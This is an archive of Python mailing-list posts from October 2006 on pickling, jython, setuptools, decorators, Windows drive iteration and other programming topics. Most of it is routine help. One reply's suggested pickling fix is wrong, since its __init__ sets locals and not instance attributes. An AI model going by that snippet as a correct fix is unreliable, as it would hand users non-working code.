> "Ilias Lazaridis" <ilias at lazaridis.com> wrote in message
> news:1160082179.215729.164060 at c28g2000cwb.googlegroups.com...
> >
> <snip - a bunch of back-and-forth correspondence of no interest to anyone
> here whatsoever>
>
> WHAT IS THIS CRAP DOING ON THIS NEWSGROUP???!!!  IT IS UNWANTED AND
> UNWELCOME!!!
>
> If you want to make some sort of public notice of your aggrievement with
> Assembla, Breakout, Mr. Singleton, whatever, take out an ad in the
> newspaper!
>
> No one here is interested in your soap opera.
>
> -- Paul McGuire

please relax and do not speak for all current and future readers
(archives).

I admit it is difficult to detect that this post is in-topic.

But it is.

And the crosspost is valid, too.

The key for it's validity is within those two topics (to which the
original post connects):

http://case.lazaridis.com/wiki/Host
http://case.lazaridis.com/wiki/License
http://case.lazaridis.com/wiki/Copyright

I should have posted them immediately.

.



From http  Mon Oct  9 04:31:15 2006
From: http (Paul Rubin)
Date: 09 Oct 2006 01:31:15 -0700
Subject: CGI Tutorial
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1160071257.200774.90900@e3g2000cwe.googlegroups.com>
	<mailman.1374.1160073684.10491.python-list@python.org>
	<egcghv$viv$3@lust.ihug.co.nz>
	<mailman.98.1160379324.11739.python-list@python.org>
	<egd0pp$u3r$3@lust.ihug.co.nz>
Message-ID: <7xhcydyjos.fsf@ruckus.brouhaha.com>

Lawrence D'Oliveiro <ldo at geek-central.gen.new_zealand> writes:
> > lower. Just last week a police employee in my class told us of an
> > exploit where a major credit card copmany's web site had been hacked
> > using a SQL injection vulnerability. This is usually done with the
> > intent of gaining access to credit card data.
> 
> If they can do that, it doesn't seem much of a step to compromise the code
> that decrypts the credit card data, as well. Keeping it encrypted, when the
> key needs to be kept at the same (in)security level, is just
> security-through-obscurity.

Keys in such sites are supposed to be kept more secure than the stuff
in the db.


From tim at tdw.net  Sun Oct  1 18:12:26 2006
From: tim at tdw.net (Tim Williams)
Date: Sun, 1 Oct 2006 23:12:26 +0100
Subject: changing numbers to spellings
In-Reply-To: <G53835247.684.1891.1@mx-extra>
References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
	<1159679133.367507.286320@i42g2000cwa.googlegroups.com>
	<7xwt7k5ypf.fsf@ruckus.brouhaha.com> <G53835247.684.1891.1@mx-extra>
Message-ID: <9afea2ac0610011512j5c656adauf31b0701aadeb1c6@mail.gmail.com>

On 1 Oct 2006 14:08:24 -0700, flyingisfun1217 at gmail.com
<flyingisfun1217 at gmail.com> wrote:
> I guess I'm just looking for a small code sample hooked up to the code
> I gave, that would collect the input, compare it to code such as:
>
> if x==5
>      print "Five"
> elif x==6
>      print "Six"
> elif x==7
>      print "Seven"
>
> Something along those lines. That was actually like the code I used for
> something else a while ago.
>
> My only problem is, I want it to be printed to a textvariable for use
> in the label.

You can replace the above snippet with:

my_nums = { 1 : 'One' , 2 : 'Two' ,  3 : 'Three' , 4 : 'Four' }  # etc etc
print my_nums[x]

so...

>>> x = 2
>>> print my_nums[x]
'Two'
>>> x = 4
>>> print my_nums[x]
'Four'

and my_nums[x] is a "variable"  for you to use.

HTH :)


From ishijak at gmail.com  Mon Oct 16 11:13:22 2006
From: ishijak at gmail.com (ivansh)
Date: 16 Oct 2006 08:13:22 -0700
Subject: jython and toString
Message-ID: <1161011602.075688.29370@i42g2000cwa.googlegroups.com>

Hello,

For one java class (Hello) i use another (HelloPrinter) to build the
string representation of the first one. When i've tried to use this
from within jython,  HelloPrinter.toString(hello) call gives results
like Object.toString() of hello has being called. The example below
shows this behaviour.
Could somebody explain this?


// Hello.java
package jythontest;
public class Hello {
	private String name;
	public Hello(String name)
	{
		this.name = name;
	}
	public String sayHello()
	{
		return "Hello, "+name;
	}
}

// HelloPrinter.java
package jythontest;
public class HelloPrinter {
	public static String toString(Hello h)
	{
		return h.sayHello();
	}

	public static String toMyString(Hello h)
	{
		return h.sayHello();
	}
}



#  calljava.py
from jythontest import *
h = Hello("theName")
print h
print HelloPrinter.toString(h)
print HelloPrinter.toMyString(h)

OUTPUT:
jythontest.Hello at 523ca2   // GOOD
jythontest.Hello at 523ca2   // WRONG
Hello, theName                 // GOOD


Jython 2.1 on java (JIT: null)

java version "1.5.0_03"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_03-b07)
Java HotSpot(TM) Server VM (build 1.5.0_03-b07, mixed mode)



From joncle at googlemail.com  Thu Oct 12 10:11:40 2006
From: joncle at googlemail.com (Jon Clements)
Date: 12 Oct 2006 07:11:40 -0700
Subject: Pickling an instance of a class containing a dict doesn't work
In-Reply-To: <4p6vk6Fh2jevU1@news.dfncis.de>
References: <4p6vk6Fh2jevU1@news.dfncis.de>
Message-ID: <1160662300.159122.20520@m7g2000cwm.googlegroups.com>


Marco Lierfeld wrote:

> The class looks like this:
>         class subproject:
>                 configuration   = {}
>                 build_steps     = []
>                 # some functions
>                 # ...
>
> Now I create an instance of this class, e.g.
>         test = subproject()
> and try to save it with pickle.dump(test, file('test.pickle','wb')) or with
> pickle.Pickler(file('test.pickle','wb')).save(test) it looks like
> everything has worked well, but in the saved file 'test.pickle' only the
> list 'build_steps' is saved - the dictionary 'configuration' is missing.
> There is wether an error-message nor an exception.
>
> When I try to save only the dictionary, there is no problem at all - the
> dict is saved to the file.
>
> I also tried the 3 different protocols (0, 1, 2), but none of them worked
> for me.

At a wild guess. Since pickle descends the objects hierarchy, and since
configuration and build_steps aren't local to an instance of a class,
it stores only a reference to them (so you won't see values). However,
if you change the above to:

class subproject:
    def __init__(self):
        configuration = { }
        build_steps = [ ]

That'll probably be what you expect...

Jon.



From bignose+hates-spam at benfinney.id.au  Tue Oct 24 09:03:23 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 24 Oct 2006 23:03:23 +1000
Subject: Tutorial on setuptools
References: <1161693618.560803.272260@h48g2000cwc.googlegroups.com>
Message-ID: <87lkn5q31g.fsf@benfinney.id.au>

"Thomas W" <thomas.weholt at gmail.com> writes:

> I'm might just be dumb, but I cannot get the hang of usting
> setuptools based on the docs at
> http://peak.telecommunity.com/DevCenter/setuptools.

Yes, the documentation there is long on verbiage and short on
realistic examples. It is also hard to navigate, being one big page of
mostly-unfamilar concepts.

I suppose it doesn't help that I was never familiar with 'distutils'
before being convinced (in theory) that 'setuptools' was
better. setuptools leverages the existing distutils system and
knowledge -- but conversely, it seems to *depend* on that knowledge.

> Is there a simple example available showing how to pack a few
> modules, a few scripts, some resources files ( images ) and list a
> few dependencies ?

I'm also interested in this.

-- 
 \          "I don't like country music, but I don't mean to denigrate |
  `\          those who do. And for the people who like country music, |
_o__)                     denigrate means 'put down'."  -- Bob Newhart |
Ben Finney



From m.elston at advantest-ard.com  Wed Oct  4 13:56:58 2006
From: m.elston at advantest-ard.com (Mark Elston)
Date: Wed, 04 Oct 2006 10:56:58 -0700
Subject: preemptive OOP?
In-Reply-To: <_1SUg.65$1n3.917@news.tufts.edu>
References: <e9USg.47$1n3.432@news.tufts.edu>
	<JZATg.3537$5i7.15@newsreading01.news.tds.net>
	<12i0iut89mqepcd@corp.supernews.com>
	<PQRUg.4196$5i7.497@newsreading01.news.tds.net>
	<_1SUg.65$1n3.917@news.tufts.edu>
Message-ID: <4523F5EA.4010901@advantest-ard.com>

* John Salerno wrote (on 10/4/2006 10:18 AM):
> Kent Johnson wrote:
> 
>>> There is certainly a *lot* of 'Gratuitous OOP' (GOOP?) out there. 
>>
>> In my experience a lot of GOOP results
> 
> LOL. Good thing we didn't go with the acronym from my phrase "preemptive 
> OOP"  ;)

Oops.  I couldn't resist.  See my previous post.

Mark


----------------------------------------------------------------------------------
"Debugging is twice as hard as writing the code in the first place.
Therefore, if you write the code as cleverly as possible, you are, by
definition, not smart enough to debug it."

  -- Brian Kernighan of C


From newptcai at gmail.com  Mon Oct 30 12:26:37 2006
From: newptcai at gmail.com (=?utf-8?B?5LiA6aaW6K+X?=)
Date: 30 Oct 2006 09:26:37 -0800
Subject: How to convert "&nbsp;" in a string to blank space?
Message-ID: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>

Is there any simple way to solve this problem?



From ath-admin at vt.edu  Mon Oct  9 08:35:54 2006
From: ath-admin at vt.edu (rick)
Date: Mon, 09 Oct 2006 08:35:54 -0400
Subject: file system iteration
Message-ID: <egdg02$pcd$1@solaris.cc.vt.edu>

In Unix, the file system hierarchy is like a tree that has a base or 
'root' that exposes objects (files and folders) that can easily be 
iterated over.


\ \  |  / /
  \ \ | / /
   \ \|/ /
    \ | /
     \|/
      |
      |
     Root

So, when I do os.chdir('/') I am at the base of the tree and can now use 
something like os.walk() to work with all of the file system objects.

In Windows, the file system is disjointed and there is now real 'root' 
At least none that I can see. It looks more like this:

| | | | | | |
|_|_|_|_|_|_|
A B C D E F G

How do you guys handle this when working with scripts that need to touch 
all files and folders on a Windows machine? I've been looping through 
A-Z like this:

import os.path

paths = []

if os.path.isdir('A:/'):
    paths.append('A:/')

if os.path.isdir('B:/'):
    paths.append('B:/')

...

That's a kludge, but it works OK. I'm sure WMI may have a function that 
returns mounted volumes, but under the circumstances currently, I can 
only use the standard Python library. Any ideas on how to do this better?

Thanks







From fredrik at pythonware.com  Sun Oct  1 12:36:00 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 18:36:00 +0200
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <C5B5BD17-77A5-4091-A85C-2EFFBFA0AD99@earthlink.net>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>	<efoo0p$59s$2@sea.gmane.org>
	<C5B5BD17-77A5-4091-A85C-2EFFBFA0AD99@earthlink.net>
Message-ID: <efoqpj$e98$1@sea.gmane.org>

Charlie Strauss wrote:

> Sorry to be slow but I don't know what "looking at the status
 > message" means.

did you add

import gc
gc.set_debug(gc.DEBUG_STATS)

to the top of the program?  (you need to run it to see the status 
messages, of course)

</F>



From m.elston at advantest-ard.com  Wed Oct  4 13:55:32 2006
From: m.elston at advantest-ard.com (Mark Elston)
Date: Wed, 04 Oct 2006 10:55:32 -0700
Subject: preemptive OOP?
In-Reply-To: <PQRUg.4196$5i7.497@newsreading01.news.tds.net>
References: <e9USg.47$1n3.432@news.tufts.edu>
	<JZATg.3537$5i7.15@newsreading01.news.tds.net>
	<12i0iut89mqepcd@corp.supernews.com>
	<PQRUg.4196$5i7.497@newsreading01.news.tds.net>
Message-ID: <4523F594.3080006@advantest-ard.com>

* Kent Johnson wrote (on 10/4/2006 10:04 AM):
> Mark Elston wrote:
>> ...
>> Without this prior planning, any expansion (not to mention bug fixing)
>> becomes more difficult and makes the resulting code more brittle.  While
>> not all planning for the future requires OO, this is one mechanism that
>> can be employed effectively *because* it is generally well understood
>> and can be readily grasped *if* it is planned and documented well.
> 
> Unfortunately prior planning is an attempt to predict the future.
> Correctly planning for future requirements is difficult. It is possible
> to expand code without making it brittle.
> 

Hmmm....

I work in an environment where we plan our 'feature' implementation
several revisions in the future.  We know where we are going because
we have a backlog of end user requests for new features and a limited
pool of people to implement them.

Knowing what will have to change in the future makes this kind of
planning *much* simpler.

However, I still find it a lot easier to plan for change even without
explicit requests than you seem to indicate.  I have worked in the
field for over 10 years now and I have a pretty good idea of the
kinds of things our users will need.  I also have a pretty good idea
of the kinds of things we can introduce that users will find useful.
Planning for the introduction of these things is pretty useful when
we have short turn-around time between revisions and have to implement
any number of new features during these iterations.

And adding new features and handling new requests in a well thought
out manner helps us to keep the system from being brittle.

BTW, the kind of SW we develop is for large pieces of test equipment
used in semiconductor test.  This SW covers the range from embedded and
driver level supporting custom hardware to end-user applications.  There
is simply no way we could survive if we tried to develop software in any
kind of an ad hoc manner.

> Robert Martin has a great rule of thumb - first, do the simplest thing
> that meets the current requirements. When the requirements change,
> change the code so it will accommodate future changes of the same type.
> Rather than try to anticipate all future changes, make the code easy to
> change.
> 

In our case the requirements don't really change.  They do get
augmented, however.  That is, the users will want to continue to do the
things they already can - in pretty much the same ways.  However, they
will also want to do additional things.

Robert's rule of thumb is applied here as well.  We may have a pretty
good idea of where we are going, but we can get by for now implementing
a minimal subset.  However, if we don't anticipate where we are going
to be in the next revision or two it is very likely to entail some
substantial rewrite of existing code when we get there.  That results in
an unacceptable cost of development - both in terms of $$ and time.  Not
only is the code obsoleted, but so are all the components that depend on
the rewritten code and all of the tests (unit and integration) for all
the affected components.

>>
>> There is certainly a *lot* of 'Gratuitous OOP' (GOOP?) out there.  This
>> isn't a good thing.  However, that doesn't mean that the use of OOP in
>> any given project is bad.  It may be inappropriate.
> 
> In my experience a lot of GOOP results exactly from trying to anticipate 
> future requirements, thus introducing unneeded interfaces, factories, etc.

While we do our best to avoid this, it *does* sometimes happen.
However, it is not as much of a problem as the reverse.  If an interface
is developed that turns out not to be very useful, we can always remove
it with very little cost.  If we have to *replace* or substantially
modify an existing mechanism to support a new feature the ripple effect
can cripple our schedule for several release iterations.

OTOH, your point is a good one:  If we really didn't know where we
wanted to be in the future then making a wild guess and heading off
in some random direction isn't likely to be very beneficial either.
In fact it is likely to be more costly in the long run.

That strikes me as "Crap Shoot Development" (a relative of POOP? :) ).

Mark

----------------------------------------------------------------------------------
"Debugging is twice as hard as writing the code in the first place.
Therefore, if you write the code as cleverly as possible, you are, by
definition, not smart enough to debug it."

  -- Brian Kernighan of C


From gherron at islandtraining.com  Wed Oct 18 13:46:30 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Wed, 18 Oct 2006 10:46:30 -0700
Subject: Dictionaries
In-Reply-To: <eh5lqn$mkn$1@sea.gmane.org>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>	<pan.2006.10.18.16.07.07.924696@REMOVE.THIS.cybersource.com.au>	<1161189110.702575.162220@f16g2000cwb.googlegroups.com>
	<eh5lqn$mkn$1@sea.gmane.org>
Message-ID: <45366876.2020307@islandtraining.com>

Fredrik Lundh wrote:
> Lad wrote:
>
>   
>> The answer: the values should be added together and assigned to the key
>> That is
>> {'a':1, 'b':5}
>> ( from your example below)
>>
>> Is there a solution?
>>     
>
> have you tried coding a solution and failed, or are you just expecting 
> people to code for free?
>
> </F>
>
>   
Right.  This thread begins to look like someone with a homework
assignment asking for code rather than attempting to try programming it
up himself.  I was happy to answer the first plea for help, but I'd be
leery of providing any actual code.

Gary Herron



From sebastien.ramage at gmail.com  Tue Oct  3 09:05:25 2006
From: sebastien.ramage at gmail.com (=?iso-8859-1?q?S=E9bastien_Ramage?=)
Date: 3 Oct 2006 06:05:25 -0700
Subject: How Build VTK for Python 2.5 under Windows?
In-Reply-To: <1159861502.281759.105750@m7g2000cwm.googlegroups.com>
References: <1159861502.281759.105750@m7g2000cwm.googlegroups.com>
Message-ID: <1159880725.255646.109500@h48g2000cwc.googlegroups.com>

I've install MS Visual C++ toolkit 2003 and cmake
but I don't really know how it work.

there's somebody who can compile VTK for python 2.5 under windows for
me ?

thank you

(And sorry for my english, I'm French)

Seb



S?bastien Ramage wrote:
> Hello,
> I'm running on Windows and I want to test VTK but I don't understand
> how build it
>
> Somebody can help me to build VTK for Python 2.5 under Windows? (or
> Python 2.43 if python 2.5 is a problem)
>
> I have no C compiler but I can install one if it's free.
> 
> Thank you
> 
> Seb



From walter at livinglogic.de  Tue Oct 31 10:01:13 2006
From: walter at livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Tue, 31 Oct 2006 16:01:13 +0100
Subject: Python tools for managing static websites?
In-Reply-To: <d6e943400610310409i6c3672cdvba64f70f8a05547f@mail.gmail.com>
References: <d6e943400610310409i6c3672cdvba64f70f8a05547f@mail.gmail.com>
Message-ID: <45476539.1070304@livinglogic.de>

Chris Pearl wrote:

> Are there Python tools to help webmasters manage static websites?
> 
> [...]

You might give XIST a try: http://www.livinglogic.de/Python/xist/

Basically XIST is an HTML generator, that can be extended to generate
the HTML you need for your site. The website
http://www.livinglogic.de/Python/ itself was generated with XIST. You
can find the source for the website here:
http://www.livinglogic.de/viewcvs/index.cgi/LivingLogic/WWW-Python/site/

Hope that helps!

Bye,
   Walter D?rwald


From mithrond at gmail.com  Sat Oct 14 21:44:27 2006
From: mithrond at gmail.com (mithrond at gmail.com)
Date: 14 Oct 2006 18:44:27 -0700
Subject: a odd thing of "from __future__ import ..."
In-Reply-To: <egr2bc$bs9$01$1@news.t-online.com>
References: <1160834831.366050.277760@i3g2000cwc.googlegroups.com>
	<egr2bc$bs9$01$1@news.t-online.com>
Message-ID: <1160876667.411031.21200@i42g2000cwa.googlegroups.com>

Peter, thanks for the info.
Peter Otten wrote:
> mithrond at gmail.com wrote:
>
> > i can't use "from __future__ import ..." statement import two
> > statesments in the same time.
>
> > why? python2.5/windows.
>
> This is a bug:
>
> http://groups.google.com/group/comp.lang.python/msg/05fdd5118638f3cd?hl=en&
> 
> Peter



From glen.coates.bigworld at gmail.com  Thu Oct  5 11:18:19 2006
From: glen.coates.bigworld at gmail.com (glen.coates.bigworld at gmail.com)
Date: 5 Oct 2006 08:18:19 -0700
Subject: Access to static members from inside a method decorator?
In-Reply-To: <4524c9bb$0$23498$426a74cc@news.free.fr>
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
	<4524c9bb$0$23498$426a74cc@news.free.fr>
Message-ID: <1160061499.579029.9130@k70g2000cwa.googlegroups.com>

Bruno Desthuilliers wrote:
> glen.coates.bigworld at gmail.com wrote:
> > I'm developing a library at the moment that involves many classes, some
> > of which have "exposed" capabilities.  I'm trying to design a nice
> > interface for both exposing those capabilities, and inspecting
> > instances to find out what capabilities they have.
> >
> > At the moment, I'm leaning towards a superclass (Exposed) that defines
> > a static method which is a decorator (expose) such that any derived
> > class can mark a method with @Exposed.expose and it will then be later
> > returned by getExposedMethods(), a la:
> >
> > class Exposed:
> >   @staticmethod
> >   def expose( f ):
> >     ...
> >
> >   def getExposedMethods( self ):
> >     ...
> >
> > class Person( Exposed ):
> >   @Exposed.expose
> >   def talk( self, ... ):
> >     ...
> >
> > I'm trying to implement the decorator by having it populate a static
> > member list of whatever class it's in with a reference to the method.
> > getExposedMethods() would then return the contents of each of those
> > lists from itself back to Exposed in the class hierarchy.  The first
> > problem was that having a reference to the method (i.e. talk()) does
> > not allow you to get a reference to the enclosing class (I had hoped
> > im_class would lead me there).
>
> Not yet. When your decorator is called, the class object is not yet
> created, and what you are decorating is a plain function.
>
> > The real hiccup was that explicitly
> > passing the class as an argument to the decorator generates a undefined
> > global name error, presumably because at that point of execution the
> > class object hasn't been fully created/initialised.
>
> Exactly.
>
> > So how can this be done?
>
> The simplest thing is to use a two-stages scheme : mark the functions as
> exposed, then collect them:
>
> def expose(func):
>   func._exposed = True
>   return func
>
> def exposed(obj):
>   return callable(obj) and getattr(obj, '_exposed', False)
>
> class Exposing(object):
>   @classmethod
>   def get_exposed_methods(cls):
>     try:
>       exposeds = cls._exposed_methods
>     except AttributeError:
>       exposeds = []
>       for name in dir(cls):
>         obj = getattr(cls, name)
>         if exposed(obj):
>           exposeds.append(obj)
>       cls._exposed_methods = exposeds
>     return exposeds
>
> class Parrot(Exposing):
>   @expose
>   def parrot(self, what):
>     return "%s says %s" % (self, str(what))
>
>
>
> HTH
> --
> bruno desthuilliers
> python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
> p in 'onurb at xiludom.gro'.split('@')])"

Thanks Bruno.  I came up with a similar solution today at work, which
involves an 'init' method which is called at the bottom of each module
that defines subclasses of Exposed and sets up static mappings for the
exposed methods.  I guess my solution is slightly less elegant because
it requires this ugly explicit init call outside the classes that it
actually deals with, however it is more efficient because the dir()
pass happens once on module load, instead of every time I want the list
of exposed methods.

Thanks for the help though,
Glen



From chrispatton at gmail.com  Sat Oct 14 23:33:13 2006
From: chrispatton at gmail.com (Chris)
Date: 14 Oct 2006 20:33:13 -0700
Subject: problem with the 'math' module in 2.5?
Message-ID: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>

>>> from math import *
>>> sin(0)
0.0
>>> sin(pi)
1.2246063538223773e-016
>>> sin(2*pi)
-2.4492127076447545e-016
>>> cos(0)
1.0
>>> cos(pi)
-1.0
>>> cos(2*pi)
1.0

The cosine function works fine, but I'm getting weird answers for sine.
Is this a bug? Am I doing something wrong?



From steve at holdenweb.com  Mon Oct  2 14:01:25 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 02 Oct 2006 19:01:25 +0100
Subject: Pythonic API design: detailed errors when you usually don't care
In-Reply-To: <45214BED.6020608@holdenweb.com>
References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
	<45214BED.6020608@holdenweb.com>
Message-ID: <efrk42$ght$1@sea.gmane.org>

Steve Holden wrote:
> Simon Willison wrote:
> 
>>Hi all,
>>
>>I have an API design question. I'm writing a function that can either
>>succeed or fail. Most of the time the code calling the function won't
>>care about the reason for the failure, but very occasionally it will.
>>
>>I can see a number of ways of doing this, but none of them feel
>>aesthetically pleasing:
>>
>>1.
>>
>>try:
>>  do_something()
>>except HttpError:
>>  # An HTTP error occurred
>>except ApplicationError:
>>  # An application error occurred
>>else:
>>  # It worked!
>>
>>This does the job fine, but has a couple of problems. The first is that
>>I anticipate that most people using my function won't care about the
>>reason; they'll just want a True or False answer. Their ideal API would
>>look like this:
>>
>>if do_something():
>>  # It succeeded
>>else:
>>  # It failed
>>
>>The second is that the common path is success, which is hidden away in
>>the 'else' clause. This seems unintuitive.
>>
>>2.
>>
>>Put the method on an object, which stores the reason for a failure:
>>
>>if obj.do_something():
>>  # It succeeded
>>else:
>>  # It failed; obj.get_error_reason() can be called if you want to know
>>why
>>
>>This has an API that is closer to my ideal True/False, but requires me
>>to maintain error state inside an object. I'd rather not keep extra
>>state around if I don't absolutely have to.
>>
>>3.
>>
>>error = do_something()
>>if error:
>>  # It failed
>>else:
>>  # It succeeded
>>
>>This is nice and simple but suffers from cognitive dissonance in that
>>the function returns True (or an object evaluating to True) for
>>failure.
>>
>>4.
>>
>>The preferred approach works like this:
>>
>>if do_something():
>>  # Succeeded
>>else:
>>  # Failed
>>
>>BUT this works too...
>>
>>ok = do_something()
>>if ok:
>>  # Succeeded
>>else:
>>  # ok.reason has extra information
>>  reason = ok.reason
>>
>>This can be implemented by returning an object from do_something() that
>>has a __nonzero__ method that makes it evaluate to False. This solves
>>my problem almost perfectly, but has the disadvantage that it operates
>>counter to developer expectations (normally an object that evaluates to
>>False is 'empty').
>>
>>I know I should probably just pick one of the above and run with it,
>>but I thought I'd ask here to see if I've missed a more elegant
>>solution.
>>
>>Thanks,
>>
>>Simon
>>
> 
> I should have thought the simplest spelling of your requirements would be
> 
> try:
>      do_something()
>      print "It worked"
> except:
>      # it didn't
> 
> However there are good reasons why this pattern isn't often recommended: 
> it masks types of exception that you may not have anticipated.
> 
The recipe for only catching known errors but giving them all the same 
response would be

try:
     do_something()
     print "It worked!"
except (ThisError, ThatError, TheOtherError):
     print "It failed!"

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From odalrick at hotmail.com  Mon Oct 23 21:33:34 2006
From: odalrick at hotmail.com (Odalrick)
Date: 23 Oct 2006 18:33:34 -0700
Subject: Trouble with property
In-Reply-To: <mailman.1030.1161652621.11739.python-list@python.org>
References: <1161646086.830038.51080@m7g2000cwm.googlegroups.com>
	<mailman.1030.1161652621.11739.python-list@python.org>
Message-ID: <1161653614.832977.325570@e3g2000cwe.googlegroups.com>


Gabriel Genellina skrev:

> You must use a new-style class for properties to work. That is: class
> ConstrainedBox(object):
>
> --
> Gabriel Genellina
> Softlab SRL
>

Thank you, I've seen it mentioned, but never knew what it meant.

/Odalrick



From MonkeeSage at gmail.com  Sun Oct  1 01:05:33 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 30 Sep 2006 22:05:33 -0700
Subject: changing numbers to spellings
References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
Message-ID: <1159679133.367507.286320@i42g2000cwa.googlegroups.com>

flyingisfun1217 at gmail.com wrote:
> Hey,
>
> Sorry to bother everybody again, but this group seems to have quite a
> few knowledgeable people perusing it.

Hi Tanner,

I've seen a few of those people; but let a dummy (me) try to help. ;)
As to the numbers to names question: do you need to know the names of
numbers higher than 9? I assume you do...but on the off chance you
don't, just make a list of names and get the index of the current
number in it. E.g.,

num2name = ['Zero', 'One', 'Two', 'Three', 'Four',
            'Five', 'Six', 'Seven', 'Eight', 'Nine']
numbers  = '1238573620'
names    = []
for n in numbers:
  names.append(num2name[int(n)])
print '-'.join(names)

If you need the actual names for like "Five Hundred and Sixty Seven", I
think one of the smart people 'round here will have to help with that.
I have some ideas, but I'm not very good at creating complex
algorithms.

Regards,
Jordan



From no-spam at no-spam-no-spam.com  Thu Oct 26 17:06:20 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 23:06:20 +0200
Subject: ANN: wxPython 2.7.1.3
In-Reply-To: <Sf90h.172$1n3.4082@news.tufts.edu>
References: <mailman.1291.1161888414.11739.python-list@python.org>
	<ehr6vs$258l$1@ulysses.news.tiscali.de>
	<Sf90h.172$1n3.4082@news.tufts.edu>
Message-ID: <ehr80e$25cv$1@ulysses.news.tiscali.de>

John Salerno wrote:
> robert wrote:
>> Robin Dunn wrote:
>>> Announcing
>>> ----------
>>>
>>> The 2.7.1.3 release of wxPython is now available for download at
>>> http://wxpython.org/download.php.  This release is a yet another
>>> quick-turnaround bugfix release designed to solve some problems, plust
>>> some minor enhancements.  This will likely be the last 2.7.1.x
>>> release.  Source and binaries are available for both Python 2.4 and
>>> 2.5 for Windows and Mac, as well some pacakges for varous Linux
>>> distributions.  A summary of changes is listed below and also at
>>> http://wxpython.org/recentchanges.php.
>>
>> See py2.3 is still supported for Mac.  I'd like a py2.3 version for 
>> Windows still :cry-baby:
>>
>> -robert
> 
> You want Python 2.3 for Windows?

yes. 

(I know no other big libs which already stops support of py2.3-win)

-robert


From http  Thu Oct 12 07:40:32 2006
From: http (Paul Rubin)
Date: 12 Oct 2006 04:40:32 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<7xfydtojhe.fsf@ruckus.brouhaha.com>
Message-ID: <7x4pu9bw3z.fsf@ruckus.brouhaha.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:
> > fun median {
> >  var x = 0.
> >   while( *p++) {
> >     if( (*p) > x) x = *p.
> >   }
> >   return x.
> > }
> 
> I count two variables, p and x.

Also, that finds the maximum, not the median.  I had stopped examining
it after seeing it used more than one variable.


From Setash at gmail.com  Wed Oct 18 16:27:10 2006
From: Setash at gmail.com (Setash)
Date: 18 Oct 2006 13:27:10 -0700
Subject: Classes and Functions - General Questions
In-Reply-To: <slrnejd25v.7q6.sybrenUSE@schuimige.stuvel.eu>
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
	<slrnejd25v.7q6.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <1161203230.765292.99380@f16g2000cwb.googlegroups.com>

> >
> > And have class2 inherit class1 without any import statements, or need
> > it be imported first?
>
> It needs to be imported first:
>
> class1.py:
>
>     class Class1(object):
>         pass
>
> class2.py:
>     import class1
>
>     class Class2(class1.Class1):
>         pass
  >

In response to this, would the following also be possible:

classes.py:

  class Class1
    pass

  class Class2(Class1)
    pass


or would I still need to call it as:

  class Class2(classes.Class1)
    pass


Also, I have seen the following syntax used once before, and havent
found any documentation on it, any comments as to use, where to find
docs, etc?:

    from module import x as name
    name.function()

Thanks for the help, you explanation pretty much covered what I wanted
to know, but also got some more questions!



From __peter__ at web.de  Wed Oct  4 12:13:22 2006
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Oct 2006 18:13:22 +0200
Subject: Need help with syntax on inheritance.
References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com>
	<efvqp8$nug$03$1@news.t-online.com>
	<1159974390.674961.214690@k70g2000cwa.googlegroups.com>
Message-ID: <eg0mfm$3rn$00$1@news.t-online.com>

SpreadTooThin wrote:

> the =() syntax indicates what?

No special syntax, just an empty tuple as a default parameter.
In this case I could have used an empty list, too, but I thought I'd spare
you the dangers of mutable default values as explained here:

http://www.python.org/doc/faq/general/#id53

> Just slightly off topic here but if Array had a bunch of initializers 
> of its own, must all the 'optional' parameters be on the right.. ie the
> last parameters?

Yes.

Peter


From robin at alldunn.com  Thu Oct 26 14:46:25 2006
From: robin at alldunn.com (Robin Dunn)
Date: Thu, 26 Oct 2006 11:46:25 -0700
Subject: ANN: wxPython 2.7.1.3
Message-ID: <45410281.4020302@alldunn.com>

Announcing
----------

The 2.7.1.3 release of wxPython is now available for download at
http://wxpython.org/download.php.  This release is a yet another
quick-turnaround bugfix release designed to solve some problems, plust
some minor enhancements.  This will likely be the last 2.7.1.x
release.  Source and binaries are available for both Python 2.4 and
2.5 for Windows and Mac, as well some pacakges for varous Linux
distributions.  A summary of changes is listed below and also at
http://wxpython.org/recentchanges.php.


What is wxPython?
-----------------

wxPython is a GUI toolkit for the Python programming language. It
allows Python programmers to create programs with a robust, highly
functional graphical user interface, simply and easily. It is
implemented as a Python extension module that wraps the GUI components
of the popular wxWidgets cross platform library, which is written in
C++.

